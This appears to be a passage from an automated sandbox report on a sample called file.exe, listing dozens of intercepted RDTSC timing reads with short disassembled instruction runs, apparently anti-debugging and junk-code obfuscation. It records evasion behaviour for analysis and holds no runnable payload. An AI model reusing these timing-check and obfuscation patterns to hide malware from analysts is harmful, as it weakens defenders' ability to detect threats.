Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D54CA second address: 8D54D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D5573 second address: 8D5577 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D5B30 second address: 8D5B41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBCE5EB8Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D5BD9 second address: 8D5BF6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jg 00007F4EBC76D9F6h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F4EBC76D9FCh 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D5E1A second address: 8D5E20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D61A4 second address: 8D61AA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D61AA second address: 8D61B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D61B0 second address: 8D61EB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push edi 0x0000000c pop ecx 0x0000000d mov edi, dword ptr [ebp+122D2954h] 0x00000013 push 0000001Eh 0x00000015 push 00000000h 0x00000017 push ecx 0x00000018 call 00007F4EBC76D9F8h 0x0000001d pop ecx 0x0000001e mov dword ptr [esp+04h], ecx 0x00000022 add dword ptr [esp+04h], 00000014h 0x0000002a inc ecx 0x0000002b push ecx 0x0000002c ret 0x0000002d pop ecx 0x0000002e ret 0x0000002f push eax 0x00000030 jc 00007F4EBC76DA00h 0x00000036 pushad 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D648D second address: 8D6493 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D6566 second address: 8D65B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007F4EBC76D9F8h 0x0000000b popad 0x0000000c nop 0x0000000d or dx, C629h 0x00000012 lea eax, dword ptr [ebp+1247A280h] 0x00000018 push 00000000h 0x0000001a push edi 0x0000001b call 00007F4EBC76D9F8h 0x00000020 pop edi 0x00000021 mov dword ptr [esp+04h], edi 0x00000025 add dword ptr [esp+04h], 00000017h 0x0000002d inc edi 0x0000002e push edi 0x0000002f ret 0x00000030 pop edi 0x00000031 ret 0x00000032 jnl 00007F4EBC76D9F6h 0x00000038 nop 0x00000039 pushad 0x0000003a jp 00007F4EBC76D9FCh 0x00000040 jnl 00007F4EBC76D9F6h 0x00000046 push eax 0x00000047 push edx 0x00000048 push edx 0x00000049 pop edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D65B7 second address: 8D65C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D65C4 second address: 8D65C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D65C8 second address: 8BE17D instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4EBCE5EB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f popad 0x00000010 popad 0x00000011 nop 0x00000012 or edx, 398EF090h 0x00000018 lea eax, dword ptr [ebp+1247A23Ch] 0x0000001e mov ecx, edi 0x00000020 mov ch, bl 0x00000022 nop 0x00000023 ja 00007F4EBCE5EB98h 0x00000029 push eax 0x0000002a jnc 00007F4EBCE5EBA2h 0x00000030 nop 0x00000031 xor dword ptr [ebp+122D1C8Ch], ebx 0x00000037 mov ecx, dword ptr [ebp+122D2B84h] 0x0000003d call dword ptr [ebp+122D360Ch] 0x00000043 jmp 00007F4EBCE5EB8Eh 0x00000048 push ebx 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91DBDE second address: 91DBF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F4EBC76D9F6h 0x0000000a jp 00007F4EBC76D9F6h 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91DE7F second address: 91DE85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91DE85 second address: 91DE8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91DE8A second address: 91DE92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91DE92 second address: 91DE96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91DE96 second address: 91DEA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91E485 second address: 91E4A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F4EBC76D9F6h 0x0000000a pop ecx 0x0000000b je 00007F4EBC76D9FEh 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91E4A2 second address: 91E4A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 921DF9 second address: 921E0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBC76D9FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 924D98 second address: 924DBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4EBCE5EB92h 0x00000009 pop ecx 0x0000000a pop esi 0x0000000b pushad 0x0000000c pushad 0x0000000d jmp 00007F4EBCE5EB8Bh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92A76B second address: 92A78D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F4EBC76DA09h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92A78D second address: 92A7B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F4EBCE5EB8Ch 0x0000000b popad 0x0000000c jo 00007F4EBCE5EB8Ch 0x00000012 jl 00007F4EBCE5EB86h 0x00000018 push ecx 0x00000019 push eax 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92A7B1 second address: 92A7BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push ecx 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D5FE5 second address: 8D6003 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4EBCE5EB99h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D6003 second address: 8D600D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F4EBC76D9F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92B001 second address: 92B02F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F4EBCE5EB94h 0x0000000c popad 0x0000000d jmp 00007F4EBCE5EB8Bh 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 pushad 0x00000017 popad 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92BBD6 second address: 92BBE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92BBE0 second address: 92BBE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92BBE6 second address: 92BBF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92BBF0 second address: 92BC31 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4EBCE5EB86h 0x00000008 jnp 00007F4EBCE5EB86h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 pushad 0x00000012 jmp 00007F4EBCE5EB96h 0x00000017 jl 00007F4EBCE5EB9Dh 0x0000001d jmp 00007F4EBCE5EB91h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92BC31 second address: 92BC38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92BC38 second address: 92BC4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4EBCE5EB8Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 932363 second address: 932395 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBC76D9FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F4EBC76DA06h 0x0000000f js 00007F4EBC76DA0Eh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9317CB second address: 9317E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4EBCE5EB8Dh 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9317E0 second address: 9317E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9317E6 second address: 931801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F4EBCE5EB8Fh 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 931801 second address: 931809 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 931A92 second address: 931A99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 931A99 second address: 931AB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F4EBC76DA08h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 931C0A second address: 931C0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 931C0F second address: 931C17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 931C17 second address: 931C1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 931C1B second address: 931C29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F4EBC76D9F6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 931C29 second address: 931C2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 934D6B second address: 934D70 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 934EE3 second address: 934EF3 instructions: 0x00000000 rdtsc 0x00000002 je 00007F4EBCE5EB86h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 934EF3 second address: 934EF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 935061 second address: 935067 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 935067 second address: 93506D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93506D second address: 935072 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 935365 second address: 935369 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93B07A second address: 93B092 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F4EBCE5EB8Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93B092 second address: 93B096 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93B64F second address: 93B654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93B654 second address: 93B65A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93B65A second address: 93B660 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93BBE4 second address: 93BBEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93C738 second address: 93C73C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93C73C second address: 93C740 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93C740 second address: 93C746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93CA2C second address: 93CA54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4EBC76DA05h 0x00000009 popad 0x0000000a push ebx 0x0000000b jo 00007F4EBC76D9F6h 0x00000011 jnl 00007F4EBC76D9F6h 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94118F second address: 941194 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 941194 second address: 9411B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4EBC76DA04h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9411B1 second address: 9411C7 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4EBCE5EB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 je 00007F4EBCE5EB86h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9411C7 second address: 9411CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9411CB second address: 9411D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9411D1 second address: 9411D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 941A47 second address: 941A5E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBCE5EB93h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 941BAD second address: 941BC7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBC76DA04h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94EB42 second address: 94EB46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94EB46 second address: 94EB90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F4EBC76D9FCh 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F4EBC76DA02h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pushad 0x00000018 jmp 00007F4EBC76DA00h 0x0000001d pushad 0x0000001e popad 0x0000001f jg 00007F4EBC76D9F6h 0x00000025 jnl 00007F4EBC76D9F6h 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94F3D7 second address: 94F3FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F4EBCE5EB86h 0x0000000a jmp 00007F4EBCE5EB97h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94F507 second address: 94F525 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBC76D9FFh 0x00000007 jmp 00007F4EBC76D9FBh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94FF17 second address: 94FF1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94FF1B second address: 94FF43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4EBC76DA07h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f jng 00007F4EBC76D9F6h 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 956588 second address: 9565C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4EBCE5EB98h 0x00000009 pop ecx 0x0000000a pop ecx 0x0000000b push edi 0x0000000c pushad 0x0000000d jg 00007F4EBCE5EB86h 0x00000013 jnp 00007F4EBCE5EB86h 0x00000019 push esi 0x0000001a pop esi 0x0000001b popad 0x0000001c pushad 0x0000001d jg 00007F4EBCE5EB86h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9565C0 second address: 9565C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 956010 second address: 95603F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jmp 00007F4EBCE5EB8Ch 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jmp 00007F4EBCE5EB97h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9562D6 second address: 9562E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jl 00007F4EBC76D9F6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 961FD4 second address: 961FF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBCE5EB98h 0x00000007 jno 00007F4EBCE5EB86h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 961FF6 second address: 961FFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 961FFC second address: 962000 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 962000 second address: 96201A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnc 00007F4EBC76D9F6h 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push esi 0x00000017 pop esi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96201A second address: 962028 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F4EBCE5EB86h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 962028 second address: 96202E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9651C7 second address: 9651EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 jmp 00007F4EBCE5EB94h 0x0000000c jbe 00007F4EBCE5EB86h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9651EA second address: 965204 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F4EBC76DA02h 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 965204 second address: 96520C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 964D3C second address: 964D57 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4EBC76D9FEh 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jp 00007F4EBC76D9F6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
